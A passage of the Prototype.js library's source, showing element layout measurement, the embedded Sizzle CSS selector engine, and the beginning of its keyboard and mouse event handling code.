						left: offset.left + "px",
						width: layout.get("width") + "px",
						height: layout.get("height") + "px"
					});
					return element;
				},
				relativize: function(element) {
					element = $(element);
					if (Element.getStyle(element, "position") === "relative") {
						return element;
					}
					var originalStyles = Element.retrieve(element, "prototype_absolutize_original_styles");
					if (originalStyles) {
						Element.setStyle(element, originalStyles);
					}
					return element;
				},
				cumulativeOffset: (Prototype.Browser.Webkit ? function(element) {
					element = $(element);
					var valueT = 0,
						valueL = 0;
					do {
						valueT += element.offsetTop || 0;
						valueL += element.offsetLeft || 0;
						if (element.offsetParent == document.body) {
							if (Element.getStyle(element, "position") == "absolute") {
								break;
							}
						}
						element = element.offsetParent;
					} while (element);
					return new Element.Offset(valueL, valueT);
				} : function(element) {
					element = $(element);
					var valueT = 0,
						valueL = 0;
					if (element.parentNode) {
						do {
							valueT += element.offsetTop || 0;
							valueL += element.offsetLeft || 0;
							element = element.offsetParent;
						} while (element);
					}
					return new Element.Offset(valueL, valueT);
				})
			});
			Object.extend(Element.Layout, {
				PROPERTIES: $w("height width top left right bottom border-left border-right border-top border-bottom padding-left padding-right padding-top padding-bottom margin-top margin-bottom margin-left margin-right padding-box-width padding-box-height border-box-width border-box-height margin-box-width margin-box-height"),
				COMPOSITE_PROPERTIES: $w("padding-box-width padding-box-height margin-box-width margin-box-height border-box-width border-box-height"),
				COMPUTATIONS: {
					"height": function(element) {
						if (!this._preComputing) {
							this._begin();
						}
						var bHeight = this.get("border-box-height");
						if (bHeight <= 0) {
							if (!this._preComputing) {
								this._end();
							}
							return 0;
						}
						var bTop = this.get("border-top"),
							bBottom = this.get("border-bottom");
						var pTop = this.get("padding-top"),
							pBottom = this.get("padding-bottom");
						if (!this._preComputing) {
							this._end();
						}
						return bHeight - bTop - bBottom - pTop - pBottom;
					},
					"width": function(element) {
						if (!this._preComputing) {
							this._begin();
						}
						var bWidth = this.get("border-box-width");
						if (bWidth <= 0) {
							if (!this._preComputing) {
								this._end();
							}
							return 0;
						}
						var bLeft = this.get("border-left"),
							bRight = this.get("border-right");
						var pLeft = this.get("padding-left"),
							pRight = this.get("padding-right");
						if (!this._preComputing) {
							this._end();
						}
						return bWidth - bLeft - bRight - pLeft - pRight;
					},
					"padding-box-height": function(element) {
						var height = this.get("height"),
							pTop = this.get("padding-top"),
							pBottom = this.get("padding-bottom");
						return height + pTop + pBottom;
					},
					"padding-box-width": function(element) {
						var width = this.get("width"),
							pLeft = this.get("padding-left"),
							pRight = this.get("padding-right");
						return width + pLeft + pRight;
					},
					"border-box-height": function(element) {
						if (!this._preComputing) {
							this._begin();
						}
						var height = element.offsetHeight;
						if (!this._preComputing) {
							this._end();
						}
						return height;
					},
					"border-box-width": function(element) {
						if (!this._preComputing) {
							this._begin();
						}
						var width = element.offsetWidth;
						if (!this._preComputing) {
							this._end();
						}
						return width;
					},
					"margin-box-height": function(element) {
						var bHeight = this.get("border-box-height"),
							mTop = this.get("margin-top"),
							mBottom = this.get("margin-bottom");
						if (bHeight <= 0) {
							return 0;
						}
						return bHeight + mTop + mBottom;
					},
					"margin-box-width": function(element) {
						var bWidth = this.get("border-box-width"),
							mLeft = this.get("margin-left"),
							mRight = this.get("margin-right");
						if (bWidth <= 0) {
							return 0;
						}
						return bWidth + mLeft + mRight;
					},
					"top": function(element) {
						var offset = Element.positionedOffset(element);
						return offset.top;
					},
					"bottom": function(element) {
						var offset = Element.positionedOffset(element),
							parent = Element.getOffsetParent(element),
							pHeight = parent.measure("height");
						var mHeight = this.get("border-box-height");
						return pHeight - mHeight - offset.top;
					},
					"left": function(element) {
						var offset = Element.positionedOffset(element);
						return offset.left;
					},
					"right": function(element) {
						var offset = Element.positionedOffset(element),
							parent = Element.getOffsetParent(element),
							pWidth = parent.measure("width");
						var mWidth = this.get("border-box-width");
						return pWidth - mWidth - offset.left;
					},
					"padding-top": function(element) {
						return getPixelValue(element, "paddingTop");
					},
					"padding-bottom": function(element) {
						return getPixelValue(element, "paddingBottom");
					},
					"padding-left": function(element) {
						return getPixelValue(element, "paddingLeft");
					},
					"padding-right": function(element) {
						return getPixelValue(element, "paddingRight");
					},
					"border-top": function(element) {
						return getPixelValue(element, "borderTopWidth");
					},
					"border-bottom": function(element) {
						return getPixelValue(element, "borderBottomWidth");
					},
					"border-left": function(element) {
						return getPixelValue(element, "borderLeftWidth");
					},
					"border-right": function(element) {
						return getPixelValue(element, "borderRightWidth");
					},
					"margin-top": function(element) {
						return getPixelValue(element, "marginTop");
					},
					"margin-bottom": function(element) {
						return getPixelValue(element, "marginBottom");
					},
					"margin-left": function(element) {
						return getPixelValue(element, "marginLeft");
					},
					"margin-right": function(element) {
						return getPixelValue(element, "marginRight");
					}
				}
			});
			if ("getBoundingClientRect" in document.documentElement) {
				Object.extend(Element.Layout.COMPUTATIONS, {
					"right": function(element) {
						var parent = hasLayout(Element.getOffsetParent(element));
						var rect = Element.getBoundingClientRect(element),
							pRect = Element.getBoundingClientRect(parent);
						return (pRect.right - rect.right).round();
					},
					"bottom": function(element) {
						var parent = hasLayout(Element.getOffsetParent(element));
						var rect = Element.getBoundingClientRect(element),
							pRect = Element.getBoundingClientRect(parent);
						return (pRect.bottom - rect.bottom).round();
					}
				});
			}

			function isBody(element) {
				return element.nodeName.toUpperCase() === "BODY";
			}

			function isHtml(element) {
				return element.nodeName.toUpperCase() === "HTML";
			}

			function isDocument(element) {
				return element.nodeType === Node.DOCUMENT_NODE;
			}

			function isDetached(element) {
				return element !== document.body && !Element.descendantOf(element, document.body);
			}
			if ("getBoundingClientRect" in document.documentElement) {
				Element.addMethods({
					viewportOffset: function(element) {
						element = $(element);
						if (isDetached(element)) {
							return new Element.Offset(0, 0);
						}
						var rect = Element.getBoundingClientRect(element),
							docEl = document.documentElement;
						return new Element.Offset(rect.left - docEl.clientLeft, rect.top - docEl.clientTop);
					}
				});
			}
		})();
		window.$$ = function() {
			var expression = $A(arguments).join(", ");
			return Prototype.Selector.select(expression, document);
		};
		Prototype.Selector = (function() {
			function select() {
				throw new Error('Method "Prototype.Selector.select" must be defined.');
			}

			function match() {
				throw new Error('Method "Prototype.Selector.match" must be defined.');
			}

			function find(elements, expression, index) {
				index = index || 0;
				var match = Prototype.Selector.match,
					length = elements.length,
					matchIndex = 0,
					i;
				for (i = 0; i < length; i++) {
					if (match(elements[i], expression) && index == matchIndex++) {
						return Element.extend(elements[i]);
					}
				}
			}

			function extendElements(elements) {
				for (var i = 0, length = elements.length; i < length; i++) {
					Element.extend(elements[i]);
				}
				return elements;
			}
			var K = Prototype.K;
			return {
				select: select,
				match: match,
				find: find,
				extendElements: (Element.extend === K) ? K : extendElements,
				extendElement: Element.extend
			};
		})();
		/* Sizzle CSS Selector Engine - v1.0, (c)2009, The Dojo Foundation - http://sizzlejs.com/ */
		Prototype._original_property = window.Sizzle;
		(function() {
			var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
				done = 0,
				toString = Object.prototype.toString,
				hasDuplicate = false,
				baseHasDuplicate = true;
			[0, 0].sort(function() {
					baseHasDuplicate = false;
					return 0;
				});
			Sizzle = function(selector, context, results, seed) {
				results = results || [];
				var origContext = context = context || document;
				if (context.nodeType !== 1 && context.nodeType !== 9) {
					return [];
				}
				if (!selector || typeof selector !== "string") {
					return results;
				}
				var parts = [],
					m, set, checkSet, check, mode, extra, prune = true,
					contextXML = isXML(context),
					soFar = selector;
				while ((chunker.exec(""), m = chunker.exec(soFar)) !== null) {
					soFar = m[3];
					parts.push(m[1]);
					if (m[2]) {
						extra = m[3];
						break;
					}
				}
				if (parts.length > 1 && origPOS.exec(selector)) {
					if (parts.length === 2 && Expr.relative[parts[0]]) {
						set = posProcess(parts[0] + parts[1], context);
					} else {
						set = Expr.relative[parts[0]] ? [context] : Sizzle(parts.shift(), context);
						while (parts.length) {
							selector = parts.shift();
							if (Expr.relative[selector]) {
								selector += parts.shift();
							}
							set = posProcess(selector, set);
						}
					}
				} else {
					if (!seed && parts.length > 1 && context.nodeType === 9 && !contextXML && Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1])) {
						var ret = Sizzle.find(parts.shift(), context, contextXML);
						context = ret.expr ? Sizzle.filter(ret.expr, ret.set)[0] : ret.set[0];
					}
					if (context) {
						var ret = seed ? {
							expr: parts.pop(),
							set: makeArray(seed)
						} : Sizzle.find(parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML);
						set = ret.expr ? Sizzle.filter(ret.expr, ret.set) : ret.set;
						if (parts.length > 0) {
							checkSet = makeArray(set);
						} else {
							prune = false;
						}
						while (parts.length) {
							var cur = parts.pop(),
								pop = cur;
							if (!Expr.relative[cur]) {
								cur = "";
							} else {
								pop = parts.pop();
							} if (pop == null) {
								pop = context;
							}
							Expr.relative[cur](checkSet, pop, contextXML);
						}
					} else {
						checkSet = parts = [];
					}
				} if (!checkSet) {
					checkSet = set;
				}
				if (!checkSet) {
					throw "Syntax error, unrecognized expression: " + (cur || selector);
				}
				if (toString.call(checkSet) === "[object Array]") {
					if (!prune) {
						results.push.apply(results, checkSet);
					} else {
						if (context && context.nodeType === 1) {
							for (var i = 0; checkSet[i] != null; i++) {
								if (checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && contains(context, checkSet[i]))) {
									results.push(set[i]);
								}
							}
						} else {
							for (var i = 0; checkSet[i] != null; i++) {
								if (checkSet[i] && checkSet[i].nodeType === 1) {
									results.push(set[i]);
								}
							}
						}
					}
				} else {
					makeArray(checkSet, results);
				} if (extra) {
					Sizzle(extra, origContext, results, seed);
					Sizzle.uniqueSort(results);
				}
				return results;
			};
			Sizzle.uniqueSort = function(results) {
				if (sortOrder) {
					hasDuplicate = baseHasDuplicate;
					results.sort(sortOrder);
					if (hasDuplicate) {
						for (var i = 1; i < results.length; i++) {
							if (results[i] === results[i - 1]) {
								results.splice(i--, 1);
							}
						}
					}
				}
				return results;
			};
			Sizzle.matches = function(expr, set) {
				return Sizzle(expr, null, null, set);
			};
			Sizzle.find = function(expr, context, isXML) {
				var set, match;
				if (!expr) {
					return [];
				}
				for (var i = 0, l = Expr.order.length; i < l; i++) {
					var type = Expr.order[i],
						match;
					if ((match = Expr.leftMatch[type].exec(expr))) {
						var left = match[1];
						match.splice(1, 1);
						if (left.substr(left.length - 1) !== "\\") {
							match[1] = (match[1] || "").replace(/\\/g, "");
							set = Expr.find[type](match, context, isXML);
							if (set != null) {
								expr = expr.replace(Expr.match[type], "");
								break;
							}
						}
					}
				}
				if (!set) {
					set = context.getElementsByTagName("*");
				}
				return {
					set: set,
					expr: expr
				};
			};
			Sizzle.filter = function(expr, set, inplace, not) {
				var old = expr,
					result = [],
					curLoop = set,
					match, anyFound, isXMLFilter = set && set[0] && isXML(set[0]);
				while (expr && set.length) {
					for (var type in Expr.filter) {
						if ((match = Expr.match[type].exec(expr)) != null) {
							var filter = Expr.filter[type],
								found, item;
							anyFound = false;
							if (curLoop == result) {
								result = [];
							}
							if (Expr.preFilter[type]) {
								match = Expr.preFilter[type](match, curLoop, inplace, result, not, isXMLFilter);
								if (!match) {
									anyFound = found = true;
								} else {
									if (match === true) {
										continue;
									}
								}
							}
							if (match) {
								for (var i = 0;
									(item = curLoop[i]) != null; i++) {
									if (item) {
										found = filter(item, match, i, curLoop);
										var pass = not ^ !! found;
										if (inplace && found != null) {
											if (pass) {
												anyFound = true;
											} else {
												curLoop[i] = false;
											}
										} else {
											if (pass) {
												result.push(item);
												anyFound = true;
											}
										}
									}
								}
							}
							if (found !== undefined) {
								if (!inplace) {
									curLoop = result;
								}
								expr = expr.replace(Expr.match[type], "");
								if (!anyFound) {
									return [];
								}
								break;
							}
						}
					}
					if (expr == old) {
						if (anyFound == null) {
							throw "Syntax error, unrecognized expression: " + expr;
						} else {
							break;
						}
					}
					old = expr;
				}
				return curLoop;
			};
			var Expr = Sizzle.selectors = {
				order: ["ID", "NAME", "TAG"],
				match: {
					ID: /#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,
					CLASS: /\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,
					NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/,
					ATTR: /\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,
					TAG: /^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/,
					CHILD: /:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,
					POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,
					PSEUDO: /:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]*)((?:\([^\)]+\)|[^\2\(\)]*)+)\2\))?/
				},
				leftMatch: {},
				attrMap: {
					"class": "className",
					"for": "htmlFor"
				},
				attrHandle: {
					href: function(elem) {
						return elem.getAttribute("href");
					}
				},
				relative: {
					"+": function(checkSet, part, isXML) {
						var isPartStr = typeof part === "string",
							isTag = isPartStr && !/\W/.test(part),
							isPartStrNotTag = isPartStr && !isTag;
						if (isTag && !isXML) {
							part = part.toUpperCase();
						}
						for (var i = 0, l = checkSet.length, elem; i < l; i++) {
							if ((elem = checkSet[i])) {
								while ((elem = elem.previousSibling) && elem.nodeType !== 1) {}
								checkSet[i] = isPartStrNotTag || elem && elem.nodeName === part ? elem || false : elem === part;
							}
						}
						if (isPartStrNotTag) {
							Sizzle.filter(part, checkSet, true);
						}
					},
					">": function(checkSet, part, isXML) {
						var isPartStr = typeof part === "string";
						if (isPartStr && !/\W/.test(part)) {
							part = isXML ? part : part.toUpperCase();
							for (var i = 0, l = checkSet.length; i < l; i++) {
								var elem = checkSet[i];
								if (elem) {
									var parent = elem.parentNode;
									checkSet[i] = parent.nodeName === part ? parent : false;
								}
							}
						} else {
							for (var i = 0, l = checkSet.length; i < l; i++) {
								var elem = checkSet[i];
								if (elem) {
									checkSet[i] = isPartStr ? elem.parentNode : elem.parentNode === part;
								}
							}
							if (isPartStr) {
								Sizzle.filter(part, checkSet, true);
							}
						}
					},
					"": function(checkSet, part, isXML) {
						var doneName = done++,
							checkFn = dirCheck;
						if (!/\W/.test(part)) {
							var nodeCheck = part = isXML ? part : part.toUpperCase();
							checkFn = dirNodeCheck;
						}
						checkFn("parentNode", part, doneName, checkSet, nodeCheck, isXML);
					},
					"~": function(checkSet, part, isXML) {
						var doneName = done++,
							checkFn = dirCheck;
						if (typeof part === "string" && !/\W/.test(part)) {
							var nodeCheck = part = isXML ? part : part.toUpperCase();
							checkFn = dirNodeCheck;
						}
						checkFn("previousSibling", part, doneName, checkSet, nodeCheck, isXML);
					}
				},
				find: {
					ID: function(match, context, isXML) {
						if (typeof context.getElementById !== "undefined" && !isXML) {
							var m = context.getElementById(match[1]);
							return m ? [m] : [];
						}
					},
					NAME: function(match, context, isXML) {
						if (typeof context.getElementsByName !== "undefined") {
							var ret = [],
								results = context.getElementsByName(match[1]);
							for (var i = 0, l = results.length; i < l; i++) {
								if (results[i].getAttribute("name") === match[1]) {
									ret.push(results[i]);
								}
							}
							return ret.length === 0 ? null : ret;
						}
					},
					TAG: function(match, context) {
						return context.getElementsByTagName(match[1]);
					}
				},
				preFilter: {
					CLASS: function(match, curLoop, inplace, result, not, isXML) {
						match = " " + match[1].replace(/\\/g, "") + " ";
						if (isXML) {
							return match;
						}
						for (var i = 0, elem;
							(elem = curLoop[i]) != null; i++) {
							if (elem) {
								if (not ^ (elem.className && (" " + elem.className + " ").indexOf(match) >= 0)) {
									if (!inplace) {
										result.push(elem);
									}
								} else {
									if (inplace) {
										curLoop[i] = false;
									}
								}
							}
						}
						return false;
					},
					ID: function(match) {
						return match[1].replace(/\\/g, "");
					},
					TAG: function(match, curLoop) {
						for (var i = 0; curLoop[i] === false; i++) {}
						return curLoop[i] && isXML(curLoop[i]) ? match[1] : match[1].toUpperCase();
					},
					CHILD: function(match) {
						if (match[1] == "nth") {
							var test = /(-?)(\d*)n((?:\+|-)?\d*)/.exec(match[2] == "even" && "2n" || match[2] == "odd" && "2n+1" || !/\D/.test(match[2]) && "0n+" + match[2] || match[2]);
							match[2] = (test[1] + (test[2] || 1)) - 0;
							match[3] = test[3] - 0;
						}
						match[0] = done++;
						return match;
					},
					ATTR: function(match, curLoop, inplace, result, not, isXML) {
						var name = match[1].replace(/\\/g, "");
						if (!isXML && Expr.attrMap[name]) {
							match[1] = Expr.attrMap[name];
						}
						if (match[2] === "~=") {
							match[4] = " " + match[4] + " ";
						}
						return match;
					},
					PSEUDO: function(match, curLoop, inplace, result, not) {
						if (match[1] === "not") {
							if ((chunker.exec(match[3]) || "").length > 1 || /^\w/.test(match[3])) {
								match[3] = Sizzle(match[3], null, null, curLoop);
							} else {
								var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);
								if (!inplace) {
									result.push.apply(result, ret);
								}
								return false;
							}
						} else {
							if (Expr.match.POS.test(match[0]) || Expr.match.CHILD.test(match[0])) {
								return true;
							}
						}
						return match;
					},
					POS: function(match) {
						match.unshift(true);
						return match;
					}
				},
				filters: {
					enabled: function(elem) {
						return elem.disabled === false && elem.type !== "hidden";
					},
					disabled: function(elem) {
						return elem.disabled === true;
					},
					checked: function(elem) {
						return elem.checked === true;
					},
					selected: function(elem) {
						elem.parentNode.selectedIndex;
						return elem.selected === true;
					},
					parent: function(elem) {
						return !!elem.firstChild;
					},
					empty: function(elem) {
						return !elem.firstChild;
					},
					has: function(elem, i, match) {
						return !!Sizzle(match[3], elem).length;
					},
					header: function(elem) {
						return /h\d/i.test(elem.nodeName);
					},
					text: function(elem) {
						return "text" === elem.type;
					},
					radio: function(elem) {
						return "radio" === elem.type;
					},
					checkbox: function(elem) {
						return "checkbox" === elem.type;
					},
					file: function(elem) {
						return "file" === elem.type;
					},
					password: function(elem) {
						return "password" === elem.type;
					},
					submit: function(elem) {
						return "submit" === elem.type;
					},
					image: function(elem) {
						return "image" === elem.type;
					},
					reset: function(elem) {
						return "reset" === elem.type;
					},
					button: function(elem) {
						return "button" === elem.type || elem.nodeName.toUpperCase() === "BUTTON";
					},
					input: function(elem) {
						return /input|select|textarea|button/i.test(elem.nodeName);
					}
				},
				setFilters: {
					first: function(elem, i) {
						return i === 0;
					},
					last: function(elem, i, match, array) {
						return i === array.length - 1;
					},
					even: function(elem, i) {
						return i % 2 === 0;
					},
					odd: function(elem, i) {
						return i % 2 === 1;
					},
					lt: function(elem, i, match) {
						return i < match[3] - 0;
					},
					gt: function(elem, i, match) {
						return i > match[3] - 0;
					},
					nth: function(elem, i, match) {
						return match[3] - 0 == i;
					},
					eq: function(elem, i, match) {
						return match[3] - 0 == i;
					}
				},
				filter: {
					PSEUDO: function(elem, match, i, array) {
						var name = match[1],
							filter = Expr.filters[name];
						if (filter) {
							return filter(elem, i, match, array);
						} else {
							if (name === "contains") {
								return (elem.textContent || elem.innerText || "").indexOf(match[3]) >= 0;
							} else {
								if (name === "not") {
									var not = match[3];
									for (var i = 0, l = not.length; i < l; i++) {
										if (not[i] === elem) {
											return false;
										}
									}
									return true;
								}
							}
						}
					},
					CHILD: function(elem, match) {
						var type = match[1],
							node = elem;
						switch (type) {
							case "only":
							case "first":
								while ((node = node.previousSibling)) {
									if (node.nodeType === 1) {
										return false;
									}
								}
								if (type == "first") {
									return true;
								}
								node = elem;
							case "last":
								while ((node = node.nextSibling)) {
									if (node.nodeType === 1) {
										return false;
									}
								}
								return true;
							case "nth":
								var first = match[2],
									last = match[3];
								if (first == 1 && last == 0) {
									return true;
								}
								var doneName = match[0],
									parent = elem.parentNode;
								if (parent && (parent.sizcache !== doneName || !elem.nodeIndex)) {
									var count = 0;
									for (node = parent.firstChild; node; node = node.nextSibling) {
										if (node.nodeType === 1) {
											node.nodeIndex = ++count;
										}
									}
									parent.sizcache = doneName;
								}
								var diff = elem.nodeIndex - last;
								if (first == 0) {
									return diff == 0;
								} else {
									return (diff % first == 0 && diff / first >= 0);
								}
						}
					},
					ID: function(elem, match) {
						return elem.nodeType === 1 && elem.getAttribute("id") === match;
					},
					TAG: function(elem, match) {
						return (match === "*" && elem.nodeType === 1) || elem.nodeName === match;
					},
					CLASS: function(elem, match) {
						return (" " + (elem.className || elem.getAttribute("class")) + " ").indexOf(match) > -1;
					},
					ATTR: function(elem, match) {
						var name = match[1],
							result = Expr.attrHandle[name] ? Expr.attrHandle[name](elem) : elem[name] != null ? elem[name] : elem.getAttribute(name),
							value = result + "",
							type = match[2],
							check = match[4];
						return result == null ? type === "!=" : type === "=" ? value === check : type === "*=" ? value.indexOf(check) >= 0 : type === "~=" ? (" " + value + " ").indexOf(check) >= 0 : !check ? value && result !== false : type === "!=" ? value != check : type === "^=" ? value.indexOf(check) === 0 : type === "$=" ? value.substr(value.length - check.length) === check : type === "|=" ? value === check || value.substr(0, check.length + 1) === check + "-" : false;
					},
					POS: function(elem, match, i, array) {
						var name = match[2],
							filter = Expr.setFilters[name];
						if (filter) {
							return filter(elem, i, match, array);
						}
					}
				}
			};
			var origPOS = Expr.match.POS;
			for (var type in Expr.match) {
				Expr.match[type] = new RegExp(Expr.match[type].source + /(?![^\[]*\])(?![^\(]*\))/.source);
				Expr.leftMatch[type] = new RegExp(/(^(?:.|\r|\n)*?)/.source + Expr.match[type].source);
			}
			var makeArray = function(array, results) {
				array = Array.prototype.slice.call(array, 0);
				if (results) {
					results.push.apply(results, array);
					return results;
				}
				return array;
			};
			try {
				Array.prototype.slice.call(document.documentElement.childNodes, 0);
			} catch (e) {
				makeArray = function(array, results) {
					var ret = results || [];
					if (toString.call(array) === "[object Array]") {
						Array.prototype.push.apply(ret, array);
					} else {
						if (typeof array.length === "number") {
							for (var i = 0, l = array.length; i < l; i++) {
								ret.push(array[i]);
							}
						} else {
							for (var i = 0; array[i]; i++) {
								ret.push(array[i]);
							}
						}
					}
					return ret;
				};
			}
			if (document.documentElement.compareDocumentPosition) {
				sortOrder = function(a, b) {
					if (!a.compareDocumentPosition || !b.compareDocumentPosition) {
						if (a == b) {
							hasDuplicate = true;
						}
						return 0;
					}
					var ret = a.compareDocumentPosition(b) & 4 ? -1 : a === b ? 0 : 1;
					if (ret === 0) {
						hasDuplicate = true;
					}
					return ret;
				};
			} else {
				if ("sourceIndex" in document.documentElement) {
					sortOrder = function(a, b) {
						if (!a.sourceIndex || !b.sourceIndex) {
							if (a == b) {
								hasDuplicate = true;
							}
							return 0;
						}
						var ret = a.sourceIndex - b.sourceIndex;
						if (ret === 0) {
							hasDuplicate = true;
						}
						return ret;
					};
				} else {
					if (document.createRange) {
						sortOrder = function(a, b) {
							if (!a.ownerDocument || !b.ownerDocument) {
								if (a == b) {
									hasDuplicate = true;
								}
								return 0;
							}
							var aRange = a.ownerDocument.createRange(),
								bRange = b.ownerDocument.createRange();
							aRange.setStart(a, 0);
							aRange.setEnd(a, 0);
							bRange.setStart(b, 0);
							bRange.setEnd(b, 0);
							var ret = aRange.compareBoundaryPoints(Range.START_TO_END, bRange);
							if (ret === 0) {
								hasDuplicate = true;
							}
							return ret;
						};
					}
				}
			}(function() {
				var form = document.createElement("div"),
					id = "script" + (new Date).getTime();
				form.innerHTML = "<a name='" + id + "'/>";
				var root = document.documentElement;
				root.insertBefore(form, root.firstChild);
				if ( !! document.getElementById(id)) {
					Expr.find.ID = function(match, context, isXML) {
						if (typeof context.getElementById !== "undefined" && !isXML) {
							var m = context.getElementById(match[1]);
							return m ? m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ? [m] : undefined : [];
						}
					};
					Expr.filter.ID = function(elem, match) {
						var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
						return elem.nodeType === 1 && node && node.nodeValue === match;
					};
				}
				root.removeChild(form);
				root = form = null;
			})();
			(function() {
				var div = document.createElement("div");
				div.appendChild(document.createComment(""));
				if (div.getElementsByTagName("*").length > 0) {
					Expr.find.TAG = function(match, context) {
						var results = context.getElementsByTagName(match[1]);
						if (match[1] === "*") {
							var tmp = [];
							for (var i = 0; results[i]; i++) {
								if (results[i].nodeType === 1) {
									tmp.push(results[i]);
								}
							}
							results = tmp;
						}
						return results;
					};
				}
				div.innerHTML = "<a href='#'></a>";
				if (div.firstChild && typeof div.firstChild.getAttribute !== "undefined" && div.firstChild.getAttribute("href") !== "#") {
					Expr.attrHandle.href = function(elem) {
						return elem.getAttribute("href", 2);
					};
				}
				div = null;
			})(); if (document.querySelectorAll) {
				(function() {
					var oldSizzle = Sizzle,
						div = document.createElement("div");
					div.innerHTML = "<p class='TEST'></p>";
					if (div.querySelectorAll && div.querySelectorAll(".TEST").length === 0) {
						return;
					}
					Sizzle = function(query, context, extra, seed) {
						context = context || document;
						if (!seed && context.nodeType === 9 && !isXML(context)) {
							try {
								return makeArray(context.querySelectorAll(query), extra);
							} catch (e) {}
						}
						return oldSizzle(query, context, extra, seed);
					};
					for (var prop in oldSizzle) {
						Sizzle[prop] = oldSizzle[prop];
					}
					div = null;
				})();
			}
			if (document.getElementsByClassName && document.documentElement.getElementsByClassName) {
				(function() {
					var div = document.createElement("div");
					div.innerHTML = "<div class='test e'></div><div class='test'></div>";
					if (div.getElementsByClassName("e").length === 0) {
						return;
					}
					div.lastChild.className = "e";
					if (div.getElementsByClassName("e").length === 1) {
						return;
					}
					Expr.order.splice(1, 0, "CLASS");
					Expr.find.CLASS = function(match, context, isXML) {
						if (typeof context.getElementsByClassName !== "undefined" && !isXML) {
							return context.getElementsByClassName(match[1]);
						}
					};
					div = null;
				})();
			}

			function dirNodeCheck(dir, cur, doneName, checkSet, nodeCheck, isXML) {
				var sibDir = dir == "previousSibling" && !isXML;
				for (var i = 0, l = checkSet.length; i < l; i++) {
					var elem = checkSet[i];
					if (elem) {
						if (sibDir && elem.nodeType === 1) {
							elem.sizcache = doneName;
							elem.sizset = i;
						}
						elem = elem[dir];
						var match = false;
						while (elem) {
							if (elem.sizcache === doneName) {
								match = checkSet[elem.sizset];
								break;
							}
							if (elem.nodeType === 1 && !isXML) {
								elem.sizcache = doneName;
								elem.sizset = i;
							}
							if (elem.nodeName === cur) {
								match = elem;
								break;
							}
							elem = elem[dir];
						}
						checkSet[i] = match;
					}
				}
			}

			function dirCheck(dir, cur, doneName, checkSet, nodeCheck, isXML) {
				var sibDir = dir == "previousSibling" && !isXML;
				for (var i = 0, l = checkSet.length; i < l; i++) {
					var elem = checkSet[i];
					if (elem) {
						if (sibDir && elem.nodeType === 1) {
							elem.sizcache = doneName;
							elem.sizset = i;
						}
						elem = elem[dir];
						var match = false;
						while (elem) {
							if (elem.sizcache === doneName) {
								match = checkSet[elem.sizset];
								break;
							}
							if (elem.nodeType === 1) {
								if (!isXML) {
									elem.sizcache = doneName;
									elem.sizset = i;
								}
								if (typeof cur !== "string") {
									if (elem === cur) {
										match = true;
										break;
									}
								} else {
									if (Sizzle.filter(cur, [elem]).length > 0) {
										match = elem;
										break;
									}
								}
							}
							elem = elem[dir];
						}
						checkSet[i] = match;
					}
				}
			}
			var contains = document.compareDocumentPosition ? function(a, b) {
					return a.compareDocumentPosition(b) & 16;
				} : function(a, b) {
					return a !== b && (a.contains ? a.contains(b) : true);
				};
			var isXML = function(elem) {
				return elem.nodeType === 9 && elem.documentElement.nodeName !== "HTML" || !! elem.ownerDocument && elem.ownerDocument.documentElement.nodeName !== "HTML";
			};
			var posProcess = function(selector, context) {
				var tmpSet = [],
					later = "",
					match, root = context.nodeType ? [context] : context;
				while ((match = Expr.match.PSEUDO.exec(selector))) {
					later += match[0];
					selector = selector.replace(Expr.match.PSEUDO, "");
				}
				selector = Expr.relative[selector] ? selector + "*" : selector;
				for (var i = 0, l = root.length; i < l; i++) {
					Sizzle(selector, root[i], tmpSet);
				}
				return Sizzle.filter(later, tmpSet);
			};
			window.Sizzle = Sizzle;
		})();
		(function(engine) {
			var extendElements = Prototype.Selector.extendElements;

			function select(selector, scope) {
				return extendElements(engine(selector, scope || document));
			}

			function match(element, selector) {
				return engine.matches(selector, [element]).length == 1;
			}
			Prototype.Selector.engine = engine;
			Prototype.Selector.select = select;
			Prototype.Selector.match = match;
		})(Sizzle);
		window.Sizzle = Prototype._original_property;
		delete Prototype._original_property;
		(function() {
			Event = {
				KEY_BACKSPACE: 8,
				KEY_TAB: 9,
				KEY_RETURN: 13,
				KEY_ESC: 27,
				KEY_LEFT: 37,
				KEY_UP: 38,
				KEY_RIGHT: 39,
				KEY_DOWN: 40,
				KEY_DELETE: 46,
				KEY_HOME: 36,
				KEY_END: 35,
				KEY_PAGEUP: 33,
				KEY_PAGEDOWN: 34,
				KEY_INSERT: 45,
				cache: {}
			};
			var docEl = document.documentElement;
			var MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED = "onmouseenter" in docEl && "onmouseleave" in docEl;
			var isIELegacyEvent = function(event) {
				return false;
			};
			if (window.attachEvent) {
				if (window.addEventListener) {
					isIELegacyEvent = function(event) {
						return !(event instanceof window.Event);
					};
				} else {
					isIELegacyEvent = function(event) {
						return true;
					};
				}
			}
			var _isButton;

			function _isButtonForDOMEvents(event, code) {
				return event.which ? (event.which === code + 1) : (event.button === code);
			}
			var legacyButtonMap = {
				0: 1,
				1: 4,
				2: 2
			};

			function _isButtonForLegacyEvents(event, code) {
				return event.button === legacyButtonMap[code];
			}

			function _isButtonForWebKit(event, code) {
				switch (code) {
					case 0:
						return event.which == 1 && !event.metaKey;
					case 1:
						return event.which == 2 || (event.which == 1 && event.metaKey);
					case 2:
